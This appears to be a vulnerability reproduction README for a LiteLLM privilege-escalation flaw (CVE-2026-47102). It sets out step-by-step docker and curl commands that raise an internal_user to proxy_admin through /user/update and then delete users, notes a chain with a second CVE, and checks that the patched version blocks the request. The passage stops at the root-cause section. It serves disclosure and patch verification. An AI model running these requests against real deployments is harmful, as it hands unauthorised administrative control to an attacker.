
The code for personally reproducing the corresponding vulnerability
/user/updateLiteLLM v1.83.7 (versions before v1.83.10)
/user/updateendpoint allows low-privileged users with access to this endpoint to modify their ownuser_rolefield toproxy_adminwhen updating their account, achieving unauthorized privilege escalation.
| Field | Value |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.10 (confirmed on v1.83.7) |
| Fixed | v1.83.10+ (added permission check for modifying user_role field) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM's /user/update endpoint is used to update user attributes. In affected versions, the can_user_call_user_update() function of /user/update checks whether the user is authorized to update the specified user (allowing users to update their own records), but imposes no restrictions on which fields can be modified.
This means any user who can access the /user/update endpoint (for example, users granted route permissions by an administrator, or attackers who gain access to this endpoint through other vulnerabilities) can escalate their own role to proxy_admin by modifying their user_role field, gaining full access to all administrative endpoints.
Admin creates API key with /user/update route permission for internal_user
→ internal_user gains route-level access
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Role escalated to proxy_admin
→ GET /user/list (verify admin access)
| Item | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Vulnerability Focus | /key/generate does not validate allowed_routes | /user/update lacks field-level authorization |
| Attack Prerequisite | internal_user can directly call /key/generate | Must first obtain /user/update route access |
| Fix Version | v1.83.14 | v1.83.10 |
The two vulnerabilities can be chained: CVE-2026-47101 is used to create a wildcard route key (accessing
/user/update), and CVE-2026-47102 is used to escalate one's own role toproxy_admin.
# 1. Start PostgreSQL + vulnerable LiteLLM (v1.83.7-stable)
docker compose up -d litellm
# Wait for service readiness (about 10-30 seconds)
sleep 15
# Check container logs
docker logs litellm-47102-privesc 2>&1 | tail -10
Expected output should contain logs indicating successful startup, such as Uvicorn running on http://0.0.0.0:4000.
Use the master key to create a low-privilege internal_user account:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
The admin creates an API key with /user/update route access for internal_user. This is the typical way to gain access to the /user/update endpoint in a real environment:
# Use master key to create a key with /user/update route
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Expected output:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Using the key with /user/update route permission obtained in the previous step, escalate the user role to proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Vulnerability point:
user_rolehas been changed frominternal_usertoproxy_admin! The/user/updateendpoint allows users to modify their ownuser_rolefield without any field-level permission restrictions.
Verify the role escalation via the /user/list endpoint (using the original internal_user API key, which has no route restrictions; after escalation to proxy_admin, it automatically gains admin privileges):
# Use the key that has been escalated to proxy_admin (original internal_user key, no route restrictions)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Expected output:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Using the obtained proxy_admin privileges, any user can be deleted via /user/delete (again using the original internal_user API key):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Expected output:
1
The above steps have been integrated into demo.sh, which can be executed directly:
# Full reproduction (includes comparison between vulnerable and fixed versions)
bash demo.sh
Start the fixed version (v1.83.10-stable) to verify that CVE-2026-47102 has been patched:
docker compose --profile fixed up -d litellm-fixed
Create an internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Create a key with /user/update route:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Attempt to escalate privileges (expected to be blocked):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Expected output (fixed version blocks unauthorized request):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Comparison with vulnerable version:
| Test Scenario | Vulnerable Version (v1.83.7) | Fixed Version (v1.83.10) |
|---|---|---|
| Route key modifies user_role | ✅ Successfully escalated to proxy_admin | ❌ Blocked ("Only proxy admins can modify user roles.") |
| Access /user/list | ✅ Successfully retrieved user list | ❌ Blocked |
The root cause of the vulnerability lies in the can_user_call_user_update() function of the /user/update endpoint: